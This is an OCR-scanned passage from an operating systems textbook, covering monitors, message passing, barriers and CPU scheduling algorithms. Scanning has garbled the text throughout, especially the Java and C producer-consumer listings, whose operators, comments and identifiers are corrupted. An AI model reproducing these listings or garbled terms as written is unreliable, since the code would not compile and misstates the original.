method, no other thread will be allowed to start executing any other synchronized 
method of that object 

A solution to the producer-consumer problem using monitors in Java is given 
in Fig. 2-35. The solution consists of four classes. The outer class, ProducerCon
sumer, creates and startS two threads, p and c. The second and third classes, pro
ducer and consumer, respectively, contain the code for the producer and consu
mer. Finally, the class our _monitor, is the monitor. It contains two synchronized 
threads that are used for actually inserting items into the shared buffer and taking 
them out Unlike in the previous examples, we have finally shown the full code of 
insert and remove here. 

The producer and consumer threads are functionally identical to their count
erparts in all our previous examples. The producer has an infinite loop g�nerating 
data and putting it into the common buffer. The consumer has an equally infinite 
loop taking data out of the common buffer and doing some fun thing with it 

The interesting part of this program is the class our _monitor, which contains 
the buffer, the administration variables, and two synchronized methods. When the 
producer is active inside insert, it knows for sure that the consumer cannot be ac
tive inside remove, making it safe to update the variables and the buffer without 
fear of race conditions. The variable count keeps track of how many items are in 
the buffer. It can take on any value from 0 through and including N - 1. The 
variable lo is the index of the buffer slot where the next item is to be fetched. Sim
ilarly, hi is the index of the buffer slot where the next item is to be placed. It is 
permitted that lo ::::; hi, which means that either 0 items or N items are in the buff
er. The value of count tells which case holds. 

Synchronized methods in Java differ from classical monitors in an essential 
way: Java does not have condition variables built in. Instead, it offers two proce
dures, wait and notify, which are the equivalent of sleep and wakeup except that 
when they are used inside synchronized methods, they are not subject to race con
ditions. In theory, the method wait can be interrupted, which is what the code sur
rounding it is all about. Java requires that the exception handling be made explicit. 
For our purposes, just imagine that go _to _sleep is the way to go to sleep. 

By making the mutual exclusion of critical regions automatic, monitors make 
parallel programming much less error-prone than with semaphores. Still, they too 
have some drawbacks. It is not for nothing that our two examples of monitors 



138 PROCESSES AND THREADS CHAP. 2 

were in Pidgin Pascal instead of C, as are the other examples in this book. As we 
said earlier, monitors are a programming language concept. The compiler must 
recognize them and arrange for the mutual exclusion somehow. C, Pascal, and 
most other languages do not have monitors, so it is unreasonable to expect their 
compilers to enforce any mutual exclusion rules. In fact, how could the compiler 
even know which procedures were in monitors and which were not? 

These same languages do not have semaphores either, but adding semaphores 
is easy: all you need to do is add two short assembly code rOlltines to the library to 
issue the up and down system calls. The compilers do not even have to know that 
they exist. Of course, the operating systems have to know about the semaphores, 
but at least if you have a semaphore-based operating system, you can stilI write 
the user programs for it in C or C++ (or even assembly language if yOll are 
masochistic enough). With monitors, you need a language that has them built in. 

Another problem with monitors, and also with semaphores, is that they were 
designed for solving the mutual exclusion problem on one or more CPUs that all 
have access to a common memory. By putting the semaphores in the shared 
memory and protecting them with TSL or XCHG instructions, we can avoid races. 
When we go to a distributed system consisting of multiple CPUs, each with its 
own private memory, connected by a local area network, these primitives become 
inapplicable. The conclusion is that semaphores are too low level and monitors 
are not usable except in a few programming languages. Also, none of the primi
tives allow information exchange between machines. Something else is needed. 

2.3.8 Message Passing 

That something else is message passing. This method of interprocess com
munication uses two primitives, send and receive, which, like semaphores and 
unlike monitors, are system calls rather than language constructs. As such, they 
can easily be put into library procedures, such as 

send(destination, &message); 
and 

receive(source, &message); 
The former call sends a message to a given destination and the latter one receives 
a message from a given source (or from ANY, if the receiver does not care). If no 
message is available, the receiver can block until one arrives. Alternatively, it can 
return immediately with an error code. 

Design Issues for Message�Passing Systems 

Message passing systems have many challenging problems and design issues 
that do not arise with semaphores or with monitors, especially if the communi
cating processes are on different machines connected by a network. For example, 
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public class ProducerCol1sumer { 
static final in! N '" 1 00; II constant giving the buffer size 
static producer p '" new producer(); /I instantiate a new producer thread 
static consumer c '" new consumer( ); If instant!ale a new consumer thread 
static our _monitor man :::: new our _monitor(); /I instantiate a new monitor 
public slatic void main(String args[ lJ ( 
p.start{); If start the producer thread 
c.start(); // start the consumer thread 

static class producer extends Thread { 
public void rune) {/I run method contains the thread code 
int item; 
while (true) { II producer loop 
item ", produce_Hem(); 
mon.insert(item); 

private in! produce_item() { ... } If actually produce 

static class consumer extends Thread { 
publiC void run() {run method contains the thread code 
int item; 
while (true) ( II consumer loop 
item -= mon.remove{); 
consume_item (Hem); 

private void consume_item{int item) { ... }// actua!ly consume 

static class our_monitor { 1/ this is a monitor 
private in! buffer{ 1 -= new intfNJ; 
private in! count = 0, 10 ::: 0, hi '" 0; 1/ counters and indices 
public synchronized void insert(in! val) { 
if (count ='" N) go_to_sleepO; II if the buffer is fun, go to sleep 
buffer {hi] = val; 1/ insert an item into the buffer 
hi ::: (hi + 1 )  % N; II slot to place next item in 
count -= count + 1; /I one more item in the buffer now 
if (count =-= 1 )  notify( ); 1/ it consumer was sleeping, wake it up 

public synchronized int remove{) { 
int val; 
if (count == 0) go_to_sleep(); II if the buffer is empty, go to sleep 
val ", buffer [Io}; 1/ fetch an item from the buffer 10:: (10 + 1) % N; II slot to fetch next item from 
count ", count - 1 ; II one few items in the buffer 
if (count::::= N - 1) nolify(}; /I if producer was Sleeping, wake it up 
return val; 

} 
private void go_to_sleep{) { try{wail();} catch(lnterruptedException exc) {};} 

Figure 2�35. A SOlution to the producer-consumer problem in Java. 

139 
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messao-es can be lost by-the network. To guard against lost messages, sender and 
receiv�r can agree that as soon as a message has been received, the receiver will 
send back a special acknowledgement message. If the sender has not received 
the acknowledgement within a certain time interval, it retransmits the message. 

Now consider what happens if the message is received correctly, but the ac
knowleduement back to the sender is lost. The sender will retransmit the message, 
so the re�eiver will get it twice. It is essential that the receiver be able to distin
o-uish a new message from the retransmission of an old one. Usually, this problem 
is solved by putting consecutive sequence numbers in each original message. If 
the receiver gets a message bearing the same sequence number as the previous 
messaO"e, it knows that the message is a duplicate that can be ignored. Successful
ly co�unicatiog in the face of unreliable message passing is a major part of the 
study of computer networks. For more infonnation, see (Tanenbaum, 1996). 

Message systems also have to deal with the question of how processes are 
named, so that the process specified in a send or receive call is unambiguous. 
Authentication is also an issue in message systems: how can the client tell that it 
is communicating with the real file server, and not with an imposter? 

At the other end of the spectrum, there are also design issues that are impor
tant when the sender and receiver are on the same machine. One of these is per
formance. Copying messages from one process to another is always slower than 
doinO" a semaphore operation or entering a monitor. Much work has gone ioto 
makhtg message passing efficient. Cheriton (1984), for example, suggest�d limit
ing message size to what will fit in the machine's registers, and then domg mes
sage passing using the registers. 

The Producer-Consumer Problem with Message Passing 

Now let us see how the producer-consumer problem can be solved with mes
sage passing and no shared memory. A solution is given in Fig. 2-36. We

. 
assume 

that all messages are the same size and that messages sent but not yet recelved are 
buffered automatically by the operating system. In this solution, a total of N mes
sages is used, analogous to the N slots in a shared-memory buffer. The consumer 
starts out by sending N empty messages to the producer. Whenever the producer 
has an item to give to the consumer, it takes an empty message and sends back a 
full one. In this way, the total number of messages in the system remains constant 
in time, so they can be stored in a given amount of memory known in advance. 

If the producer works faster than the consumer, all the messages will end up 
full, waiting for the consumer; the producer will be blocked, waiting for an empty 
to come back. If the consumer works faster, then the reverse happens: all the 
messages will be empties waiting for the producer to fill them up; the consumer 
will be blocked, waiting for a full message. 

Many variants are possible with message passing. For starters, let us look at 
how messages are addressed. One way is to assign each process a unique address 
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#define N 100 

void producer(vold) 
{ 

int item; 
message m; 

while (TRUE) ( 
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/* number of slots in the buffer */ 

/* message buffer *f 

item = produce_item(); 
receive(consumer, &m); 
buHd_message(&m, item); 
send(consumer, &m); 

/* generate something to put in buffer */ 
/* wait for an empty to arrive */ 

void consumer(void) 
{ 

int item, i; 
message m; 

/* construct a message to send */ 
/* send item to consumer */ 

for (1 = 0; i < N; i++) send(producer, &m); /* send N empties */ 
while (fRUE) ( 

receive(producer, &m); 
item ::: extracUtem(&m); 
send(producer, am); 
consume_item(item); 

/* get message containing item */ 
/* extract item from message */ • /* send back empty reply */ 
/* do something with the item */ 

Figure 2-36. The producer-consumer problem withN messages. 

and have messages be addressed to processes. A different way is to invent a new 
data structure, called a mailbox. A mailbox is a place to buffer a certain number 
of messages, typically specified when the mailbox is created. When mailboxes are 
used, the address parameters in the send and receive calls are mailboxes not 
processes. When a process tries to send to a mailbox that is full, it is suspe�ded 
until a message is removed from that mailbox, making room for a new one. 

For the producer-consumer problem, both the producer and consumer would 
create mailboxes large enough to hold N messages. The producer would send 
messages containing actual data to the consumer's mailbox, and the consumer 
would send empty messages to the producer's mailbox. When mailboxes are used, 
the buffering mechanism is clear: the destination mailbox holds messages that 
have been sent to the destination process but have not yet been accepted. 

The other extreme from having mailboxes is to eliminate all buffering. When 
this approach is followed, if the send is done before the receive, the sending proc
ess is blocked until the receive happens, at which time the message can be copied 
directly from the sender to the receiver, with no intennediate buffering. Similarly, 
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if the receive is done first, the receiver is blocked until a send happens. This strat
egy is often known as a rendezvous. It is easier to implement than a buffered 
message scheme but is less flexible since the sender and receiver are forced to run 
in lockstep. 

Message passing is commonly used in parallel programming systems. One 
well-known message-passing system, for example, is MPI (Message-Passing 
Interface). It is widely used for scientific computing. For more information about 
it, see for example (Gropp et al., 1994; and Snir et aI., 1996). 

2.3.9 Barriers 

Our last synchronization mechanism is intended for groups of processes rather 
than two-process producer-consumer type situations. Some applications are divid
ed into phases and have the rule that no process may proceed into the next phase 
until all processes are ready to proceed to the next phase. This behavior may be 
achieved by placing a barrier at the end of each phase. When a process reaches 
the barrier, it is blocked until all processes have reached the barrier. The operation 
of a barrier is illustrated in Fig. 2-37. 
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Figure 2-37. Use of a barrier. (a) Processes approaching a barrier. (b) All proc
esses but one blocked at the barrier. (c) When the last process arrives at the bar
rier, all of them are let through. 

(e) 

In Fig. 2-37(a) we see four processes approaching a barrier. What this means 
is that they are just computing and have not reached the end of the current phase 
yet. After a while, the first process finishes all the computing required of it during 
the first phase. It then executes the barrier primitive, generally by calling a library 
procedure. The process is then suspended. A little later, a second and then a third 
process finish the first phase and also execute the barrier primitive. This situation 
is illustrated in Fig. 2-37(b). Finally, when the last process, C, hits the barrier, all 
the processes are released, as shown in Fig. 2-37(c). 
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As an example of a problem requiring barriers, consider a typical relaxation 
problem in physics or engineering. There is typically a matrix that contains some 
initial values. The values might represent temperatures at various points on a 
sheet of metaL The idea might be to calculate how long it takes for the effect of a 
flame placed at one corner to propagate throughout the sheet. 

Starting with th.e current values, a transformation is applied to the matrix to 
get the second version of the matrix, for example, by applying the laws of thenno
dynamics to see what all the temperatures are !:1T later. Then the process is re
peated over and over, giving the temperatures at the sample points as a function of 
time as the sheet heats up. The algorithm produces a series of matrices over time. 

Now imagine that the matrix is very large (say, 1 million by 1 million), so that 
parallel processes are needed (possibly on a multiprocessor) to speed up the calcu
lation. Different processes work on different parts of the matrix, calculating the 
new matrix elements from the old ones according to the laws of physics. Howev
er, no process may start on iteration n + I until iteration n is complete, that is, 
?ntil all processes have finished their current work. The way to achieve this goal 
IS to program each process to execute a barrier operation after it has finished its 
part of the current iteration. When all of them are done, the new matrix (the input 
to the next iteration) will be finished, and all processes will be simultaneously re
leased to start the next iteration. 

2.4 SCHEDULING 

When a computer is multi programmed, it frequently has multiple processes or 
threads competing for the CPU at the same time. This situation occurs whenever 
two or more of them are simultaneously in the ready state. If only one CPU is 
a�ailable, a choice has to be made which process to run next. The part of the oper
atmg system that makes the choice is called the scheduler, and the algOrithm it 
uses is called the scheduling algorithm. These topics form the subject matter of 
the following sections. 

Ma�y of the same issues th�t apply to process scheduling also apply to thread 
schedulmg, although some are dIfferent. When the kernel manaoes threads, sched
uling is usually done per thread, with little or no regard to �hich process the 
thread belongs. Initially we will focus on scheduling issues that apply to both 
processes and threads. Later on we will explicitly look at thread scheduling and 
some of the unique issues it raises. We will deal with multicore chips in Chap. 8. 

2.4.1 Introduction to Scheduling 

Back in the old days of batch systems with input in the fonn of card images 
on a magnetic tape, the scheduling algOrithm was simple: just run the next job on 
the tape. With mUltiprogramming systems, [he scheduling algorithm became more 
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complex because there -were generally multiple users waiting for service. Some 
mainframes still combine batch and timesharing service, requiring the scheduler 
to decide whether a batch job or an interactive user at a terminal should go next. 
(As an aside, a batch job may be a request to run multiple programs in succession, 
but for this section, we will just assume it is a request to run a single program.) 
Because CPU time is a scarce resource on these machines, a good scheduler can 
make a big difference in perceived performance and user satisfaction. Conse
quently, a great deal of work has gone into devising clever and efficient schedul
ing algorithms. 

With the advent of personal computers, the situation changed in two ways. 
First, most of the time there is only one active process. A user entering a docu
ment on a word processor is unlikely to be simultaneously compiling a program in 
the background. When the user types a command to the word processor, the 
scheduler does not have to do much work to figure out which process to run-the 
word processor is the only candidate. 

Second, computers have gotten so much faster over the years that the CPU is 
rarely a scarce resource any more. Most programs for personal computers are lim
ited by the rate at which the user can present input (by typing or clicking), not by 
the rate the CPU can process it. Even compilations, a major sink of CPU cycles in 
the past, take just a few seconds in most cases nowadays. Even when two pro
grams are actually running at once, such as a word processor and a spreadsheet, it 
hardly matters which goes first since the user is probably waiting for both of them 
to finish. As a consequence, scheduling does not matter much on simple PCs. Of 
course, there are applications that practically eat the CPU alive, for instance ren
dering one hour of high-resolution video while tweaking the colors in each of the 
108,000 frames (in NTSC) or 90,000 frames (in PAL) requires industrial-strength 
computing power. However, similar applications are the exception rather than the 
rule. 

When we tum to networked servers, the situation changes appreciably. Here 
multiple processes often do compete for the CPU, so scheduling matters again. 
For example, when the CPU has to choose between running a process that gathers 
the daily statistics and one that serves user requests, the users will be a lot happier 
if the latter gets first crack at the CPU. 

In addition to picking the right process to run, the scheduler also has to worry 
about making efficient use of the CPU because process switching is expensive. 
To start with, a switch from user mode to kernel mode must occur. Then the state 
of the current process must be saved, including storing its registers in the process 
table so they can be reloaded later. In many systems, the memory map (e.g., 
memory reference bits in the page table) must be saved as well. Next a new proc
ess must be selected by running the scheduling algorithm. After that, the MMU 
must be reloaded with the memory map of the new process. Finally, the new proc
ess must be started. In addition to all that, the process switch usually invalidates 
the entire memory cache, forcing it to be dynamically reloaded from the main 
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memory twice (upon entering the kernel and upon leaving iO. All in all, doing too 
many process switches per second can chew up a substantial amount of CPU time, 
so caution is advised. 

Process Behavior 

Nearly all processes alternate bursts of computing with (disk) I/O requests, as 
shown in Fig. 2-38. Typically the CPU runs for a while without stopping, then a 
system call is made to read from a file or write to a file. When the system call 
completes, the CPU computes again until it needs more data or has to write more 
data, and so on. Note that some I/O activities count as computing. For example, 
when the CPU copies bits to a .video RAM to update the screen, it is computing, 
not doing If 0, because the CPU is in use. IIO in this sense is when a process 
enters the blocked state waiting for an external device to complete its work. 

(a) 

(b) 
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Figure 2�38. Bursts of CPU usage alternate with periods of waiting for 1/0. (a) 
A CPU-bound process. (b) An YO-bound process. 

The important thing to notice about Fig. 2-38 is that some processes, such as 
the one in Fig. 2-38(a), spend most of their time computing, while others, such as 
the one in Fig. 2-38(b), spend most of their time waiting for lIO. The former are 
caned compute-bound; the latter are called I/O-bound. Compute-bound proc
esses typically have long CPU bursts and thus infrequent I/O waits, whereas 1/0-
bound processes have short CPU bursts and thus frequent I/O waits. Note that the 
key factor is the length of the CPU burst, not the length of the I/O burst. 1/0-
bound processes are I/O bound because they do not compute much between 1/0 
requests, not because they have especially long I/O requests. It takes the same 
time to issue the hardware request to read a disk block no matter how much or 
how little time it takes to process the data after they anive. 
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It is worth noting that as CPUs get faster, processes tend to get more I10-
bound. This effect occurs because CPUs are improving much faster than disks. 
As a consequence, the scheduling of lIO-bound processes is likely to become a 
more important subject in the future. The basic idea here is that if an I/O-bound 
process wants to run, it should get a chance quickly so that it can issue its disk re
quest and keep the disk busy. As we saw in Fig. 2-6, when processes are I/O 
bound, it takes qUite a few of them to keep the CPU fully occupied. 

When to Schedule 

A key issue related to scheduling is when to make scheduling decisions. It 
turns out that there are a variety of situations in which scheduling is needed. First, 
when a new process is created, a decision needs to be made whether to run the 
parent process or the child process. Since both processes are in ready state, it is a 
normal scheduling decision and can go either way, that is, the scheduler can legiti
mately choose to run either the parent or the child next. 

Second, a scheduling decision must'be made when a process exits. That proc
ess can no longer run (Since it no longer exists), so some other process must be 
chosen from the set of ready processes. If no process is ready, a system-supplied 
idle process is normally run. 

Third, when a process blocks on I/O, on a semaphore, or for some other rea
son, another process has to be selected to run. Sometimes the reason for blocking 
may play a role in the choice. For example, if A is an important process and it is 
waiting for B to exit its critical region, letting B run next will allow it to exit its 
critical region and thus let A continue. The trouble, however, is that the scheduler 
generally does not have the necessary information to take this dependency into 
account, 

Fourth, when an 1/0 interrupt occurs, a scheduling decision may be made. If 
the interrupt came from an 110 device that has now completed its work, some 
process that was blocked waiting for the I/O may now be ready to run. It is up to 
the scheduler to decide whether to run the newly ready process, the process that 
was running at the time of the interrupt, or some third process. 

If a hardware clock provides periodic interrupts at 50 or 60 Hz or some other 
frequency, a scheduling decision can be made at each clock interrupt or at every 
k-th clock interrupt. Scheduling algorithms can be divided into two categories 
with respect to how they deal with clock interrupts. A nonpreemptive scheduling 
algorithm picks a process to run and then just lets it run until it blocks (either on 
110 or waiting for another process) or until it voluntarily releases the CPU. Even 
if it runs for hours, it will not be forceably suspended. In effect, no scheduling 
decisions are made during clock interrupts. After clock interrupt processing has 
been completed, the process that was running before the interrupt is resumed, 
unless a higher-priority process was waiting for a now-satisfied timeout. 

I . ! 
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In contrast, a preemptive scheduling algorithm picks a process and lets it run 
for a maximum of some fixed time. If it is still running at the end of the time 
interval, it is suspended and the scheduler picks another process to run (if one is 
available). Doing preemptive scheduling requires having a clock interrupt occur 
at the end of the time interval to give control of the CPU back to the scheduler. If 
no clock is available� nonpreemptive scheduling is the only option. 

Categories of Scheduling Algorithms 

Not surprisingly, in different environments different scheduling algorithms are 
needed. This situation arises because different application areas (and different 
kinds of operating systems) haye different goals. In other words, what the sched� 
uler should optimize for is not the same in all systems. Three environments worth 
distinguishing are 

l .  Batch. 

2. Interactive. 

3. Real time. 

Batch systems are still in widespread use in the business world for doing payroII, 
inventory, accounts receivable, accounts payable, interest calculation (at banks), 
claims processing (at insurance companies), and other periodic tasks. In batch 
systems, there are no users impatiently waiting at their terminals for a quick 
response to a short request. Consequently, nonpreemptive algorithms, or preemp
tive algorithms with long time periods for each process, 3re often acceptable. This 
approach reduces process switches and thus improves performance. The batch al
gorithms are actually fairly general and often applicable to other situations as 
well, which makes them worth studying, even for people not involved in corporate 
mainframe computing. 

In an environment with interactive users, preemption is essential to keep one 
process from hogging the CPU and denying service to the others. Even if no proc
ess intentionally ran forever, one process might shut out all the others indefinitely 
due to a program bug. Preemption is needed to prevent this behavior. Servers also 
fall into this category, since they normally serve multiple (remote) users, all of 
whom are in a big hurry. 

In systems with real-time constraints, preemption is, oddly _enough, sometimes 
not needed because the processes know that they may not run for long periods of 
time and usually do their work and block quickly. The difference with interactive 
systems is that real�time systems run only programs that are intended to further 
the application at hand. Interactive systems are general purpose and may run arbi
trary programs that are not cooperative or even malicious. 
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Scheduling Algorithm Goals 

In order to design a scheduling algorithm, it is necessary to have some idea of 
what a good algorithm should do. Some goals depend on the environment (batch, 
interactive, or real time), but there are also some that are desirable in all cases. 
Some goals are listed in Fig. 2-39. We will discuss these in tum below. 

AU systems 
Fairness - giving each process a fair share of the CPU 
Policy enforcement - seeing that stated policy is carried out 
Balance - keeping aU parts of the system busy 

Batch systems 
Throughput - maximize jobs per hour 
Turnaround time - minimize time between submission and termination 
CPU utilization - keep the CPU busy all the time 

Interactive systems 
Response time - respond to requests quickly 
Proportionality � meet users' expectations 

Real-time systems 
Meeting deadlines - avoid losing data 
Predictability - avoid quality degradation in multimedia systems 

Figure 2-39. Some goals of the scheduling algorithm under different circumstances. 

Under all circumstances, fairness is important. Comparable processes should 
get comparable service. Giving one process much more CPU time than an equiv
alent one is not fair. Of course, different categories of processes may be treated 
differently. Think of safety control and doing the payroll at a nuclear reactor's 
computer center. 

Somewhat related to fairness is enforcing the system's policies. If the local 
policy is that safety control processes get to run whenever they want to, even if it 
means the payroll is 30 sec late, the scheduler has to make sure this policy is 
enforced. 

Another general goal is keeping all parts of the system busy when possible. If 
the CPU and all the I/O devices' can be kept running all the time, more work gets 
done per second than if some of the components are idle. In a batch system, for 
example, the scheduler has control of which jobs are brought into memory to run. 
Having some CPU-bound processes and some lIO-bound processes in memory to
gether is a better idea than first loading and running all the CPU-bound jobs and 
then, when they are finished, loading and running all the lIO-bound jobs, If the 
latter strategy is used, when the CPUMbound processes are running, they will fight 
for the CPU and the disk will be idle. Later, when the lIO-bound jobs come in, 
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they will fight for the disk and the CPU will be idle. Better to keep the whole sys
tem running at once by a careful mix of processes. 

The managers of large computer centers that run many batch jobs typically 
look at three metrics to see how well their systems are performing: throughput, 
turnaround time, and CPU utilization. Throughput is the number of jobs per 
hour that the system. completes. All things considered, finishing 50 jobs per hour 
is better than finishing 40 jobs per hour. Turnaround time is the statistically 
average time from the moment that a batch job is submitted until the moment it is 
completed. It measures how long the average user has to wait for the output. 
Here the rule is: Small is BeautifuL 

A scheduling, algorithm that maximizes throughput may not necessarily mini
mize turnaround time. For example, given a mix of short jobs and long jobs, a 
scheduler that always ran shortjobs and never ran long jobs might achieve an ex
cellent throughput (many short jobs per hour) but at the expense of a terrible tur
naround time for the long jobs. If short jobs kept arriving at a fairly steady rate, 
the long jobs might never run, making the mean turnaround time infinite while 
achieving a high throughput. 

CPU utilization is often used as a metric on batch systems. Actually though, it 
is not such a good metric. What really matters is how many jobs per hour come 
out of the system (throughput) and how long it takes to get a job back (turnaround 
time). Using CPU utilization as a metric is like rating cars based on how many 
times per hour the engine turns over. On the other hand, knowing when the CPU 
utilization is approaching 100% is useful for knowing when it is time to get more 
computing power. 

For interactive systems, different goals apply. The most important one is to 
minimize response time, that is, the time between issuing a command and getting 
the result. On a personal computer where a background process is running (for 
example, reading and storing e-mail from the network), a user request to start a 
program or open a file should take precedence over the background work. Having 
all interactive requests go first will be perceived as good service. 

A somewhat related issue is what might be called proportionality. Users 
have an inherent (but often incorrect) idea of how long things should take. When a 
request that is perceived as complex takes a long time, users accept that, but when 
a request that is perceived as simple takes a long time, users get irritated. For ex ¥ 
ample, if clicking on a icon that starts sending a fax takes 60 seconds to complete, 
the user will probably accept that as a fact of life because he does not expect a fax 
to be sent in 5 seconds. 

On the other hand, when a user clicks on the icon that breaks the phone con¥ 
nection after the fax has been sent, he has different expectations. If it has not 
completed after 30 seconds, the user will probably be swearing a blue streak, and 
after 60 seconds he will be frothing at the mouth. This behavior is due to the com
mon user perception that placing a phone call and sending a fax is supposed to 
take a lot longer than just hanging the phone up. In some cases (such as this one), 
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the scheduler cannot do anything about the response time, but in other cases it 
can, especially when the delay is due to a poor choice of process order. 

Real-time systems have different properties than interactive systems, and thus 
different scheduling goals. They are characterized by having deadlines that must 
or at least should be met. For example, if a computer is controlling a device that 
produces data at a regular rate, failure to run the data-collection process on time 
may result in lost data. Thus the foremost need in a real-time system is meeting all 
(or most) deadlines. 

In some real-time systems, especially those involving multimedia, predictabil
ity is important. Missing an occasional deadline is not fatal, but if the audio proc
ess runs too erratically, the sound quality will deteriorate rapidly. Video is also an 
issue, but the ear is much more sensitive to jitter than the eye. To avoid this prob
lem, process scheduling must be highly predictable and regular. We will study 
batch and interactive scheduling algorithms in this chapter but defer most of o�r 
study of real-time scheduling until we come to multimedia operating systems 10 
Chap. 7. 

2.4.2 Scheduling in Batch Systems 

It is now time to turn from general scheduling issues to specific scheduling al
gorithms. In this section we will look at algorithms used in batch systems. In the 
following ones we will examine interactive and real-time systems. It is worth 
painting out that some algorithms are used in both batch and interactive systems. 
We will study these later. 

First-Come First-Served 

Probably the simplest of all scheduling algorithms is nonpreemptive first
come first-served. With this algorithm, processes are assigned the CPU in the 
order they request it. Basically, there is a single queue of ready processes. When 
the first job enters the system from the outside in the morning, it is started im
mediately and allowed to run as long as it wants to. It is not interrupted because it 
has run too long. As other jobs come in, they are put onto the end of the queue. 
When the running process blocks, the first process on the queue is run next. 
When a blocked process becomes ready, like a newly arrived job, it is put on the 
end of the queue. 

The great strength of this algorithm is that it is easy to understand and equally 
easy to program. It is also fair in the same sense that allocating scarce sports or 
concert tickets to people who are willing to stand on line starting at 2 A.M. is fair. 
With this algorithm, a single linked list keeps track of all ready processes. Pick
ing a process to run just requires removing one from the front of the queue. Add
ing a new job or unblocked process just requires attaching it to the end of the 
queue. What could be simpler to understand and implement? 
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Unfortunately, first-come first-served also has a powerful disadvantage. Sup
pose that there is one compute-bound process that runs for 1 sec at a time and 
many lIO-bound processes that use little CPU time but each have to perform 1000 
disk reads to complete. The compute-bound process runs for 1 sec, then it reads a 
disk block. All the lIO processes now run and start disk reads. When the 
compute-bound process gets its disk block, it runs for another 1 sec, followed by 
all the lIO-bound processes in quick succession. 

The net result is that each lIO-bound process gets to read 1 block per second 
and will take 1000 sec to finish. With a scheduling algorithm that preempted the 
compute-bound process every 10 msec, the lIO-bound processes would finish in 
10 sec instead of 1000 sec, and without slowing down the compute-bound process 
very much. 

Shortest Job First 

Now let us look at another nonpreemptive batch algorithm that assumes the 
run times are known in advance. In an insurance company, for example, people 
can predict quite accurately how long it will take to run a batch of 1000 claims, 
since similar work is done every day. When several equally important jobs are sit
ting in the input queue waiting to be started, the scheduler picks the shbrtest job 
first. Look at Fig. 2-40. Here we find four jobs A, B, C, and D with run times of 
8 , 4, 4, and 4 minutes, respectively. By running them in that order, the turnaround 
time for A is 8 minutes, for B is 12 minutes, for C is 1 6  minutes, and for D is 20 
minutes for an average of 14 minutes. 

8 4 4 4 4 4 4 8 

A B c o 8 c o A 

(a) (b) 

Figure 2-40. An example of shortest job first scheduling. (a) Running four jobs 
in the original order. (b) Running them in shortest job first order. 

Now let us consider running these four jobs using shortest job first, as shown 
in Fig. 2-40(b). The turnaround times are now 4, 8, 12, and 20 minutes for an 
average of 1 1  minutes. Shortest job first is provably optimal. Consider the case of 
four jobs, with run times of a, b, c, and d, respectively. The first job finishes at 
time a, the second finishes at time a + b, and so on. The mean turnaround time is 
(4a + 3b + 2c + d)/4. It is clear that a contributes more to the average than the 
other times, so it should be the shortest job, with b next, then c, and finally d as 
the longest as it affects only its own turnaround time. The same argument applies 
equally well to any number of jobs. 
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It is worth pointing Out that shortest job first is only optimal when all the jobs 
afe available simultaneously. As a counterexample, consider five jobs, A through 
E, with run times of 2, 4, 1, 1, and 1, respectively. Their arrival times afe 0, 0, 3, 
3, and 3. Initially, only A or B can be chosen, since the other three jobs have not 
arrived yet. Using shortest job first we will run the jobs in the order A, B, C, D, E, 
for an average wait of 4.6. However, running them in the order B, C, D, E, A has 
an average wait of 4.4. 

Shortest Remaining Time Next 

A preemptive version of shortest job first is shortest remaining time next. 
With this algorithm, the scheduler always chooses the process whose remaining 
run time is the shortest. Again here, the run time has to be known in advance. 
When a new job arrives, its total time is compared to the current process' remain
ing time, If the new job needs less time to finish than the current process, the cur
rent process is suspended and the new job started, This scheme allows new short 
jobs to get good service. 

2.4.3 Scheduling in Interactive Systems 

We win now look at some algorithms that can be used in interactive systems. 
These are common on personal computers, servers, and other kinds of systems as 
welL 

Round-Robin Scheduling 

One of the oldest, simplest, fairest, and most widely used algorithms is round 
robin. Each process is assigned a time interval, called its quantum, during which 
it is allowed to run. If the process is still running at the end of the quantum, the 
CPU is preempted and given to another process. If the process has blocked or fin
ished before the quantum has elapsed, the CPU switching is done when the proc
ess blocks, of course. Round robin is easy to implement. All the scheduler needs 
to do is maintain a list of runnable processes, as shown in Fig. 2-41(a). When the 
process uses up its quantum, it is put on the end of the list, as shown in Fig. 2-
41(b). 

The only interesting issue with round robin is the length of the quantum. 
Switching from one process to another requires a certain amount of time for doing 
the administration-saving and loading registers and memory maps, updating var
ious tables and lists, flushing and reloading the memory cache, and so on. Sup
pose that this process s.witch or context switch, as it is sometimes called, takes 1 
msec, including switching memory maps, flushing and reloading the cache, etc. 
Also suppose that the quantum is set at 4 msec. With these parameters, after do
ing 4 msec of useful work, the CPU will have to spend (i.e., waste) 1 msec on 
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Figure 2·41. Round-robin scheduling. (a) The list of runnab!e processes. (b) 
The list of runnable processes after B uses up its quantum. 

process switching. Thus 20% of the CPU time will be thrown away on administra
tive overhead. Clearly, this is too much. 

To improve the CPU effici�ncy, we could set the quantum to, say, 100 msec. 
Now the wasted time is only 1 %. But consider what happens on a server system 
if 50 requests come in within a very short time interval and with widely varying 
CPU requirements. Fifty processes will be put on the list of runnable processes. If 
the CPU is idle, the first one will start immediately, the second one may not start 
until 100 msec later, and so on. The unlucky last one may have to wait 5 sec be
fore getting a chance, assuming all the others use their full quanta. Most users will 
perceive a 5-sec response to a short command as sluggish. This situation is espe
cially bad if some of the requests near the end of the queue required only a few 
milliseconds of CPU time. With a short quantum they would have gotten better 
service. 

Another factor is that if the quantum is set longer than the mean CPU burst, 
preemption will not happen very often. Instead, most processes will perfonn a 
blocking operation before the quantum runs out, causing a process switch. Elim
inating preemption improves perfonnance because process switches then only 
happen when they are logically necessary, that is, when a process blocks and can
not continue. 

The conclusion can be formulated as follows: setting the quantum too short 
causes too many process switches and lowers the CPU efficiency, but setting it 
too long may cause poor response to short interactive requests. A quantum 
around 20-50 msec is often a reasonable compromise. 

Priority Scheduling 

Round-robin scheduling makes the implicit assumption that all processes are 
equally important. Frequently, the people who own and operate multiuser com
�uters have different ideas on that subject. At a university, for example, the peck
Ing order may be deans first, then professors, secretaries, janitors, and finally stu
dents. The need to take external factors into ai;count leads to priority scheduling. 
The basic idea is straightforward: each process is assigned a priority, and the run
nable process with the highest priority is allowed to run. 
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Even on a PC with a single owner, there may be multiple processes, some of 
them more important than others. For example, a daemon process sending elec
tronic mail in the background should be assigned a lower priority than a process 
displaying a video film on the screen in real time. . .  . To prevent high-priodty processes from runmng mdefimtely, the s�hed�ler 
may decrease the priority of �e cu.rrently run�ing �r�cess at each clock tick (1.e., 
at each clock intemipt). If thIS acHon causes 1tS prIonty to drop below that of the 
next highest process, a process switch occurs. Alternatively, each pr�cess may �e 
aSSlaned a maximum time quantum that it is allowed to ruo. When thIS quantum IS 
used up, the next highest priority process is given a chance to ru�. 

. . Priorities can be assigned to processes statically or dynamIcally. On a mIlI
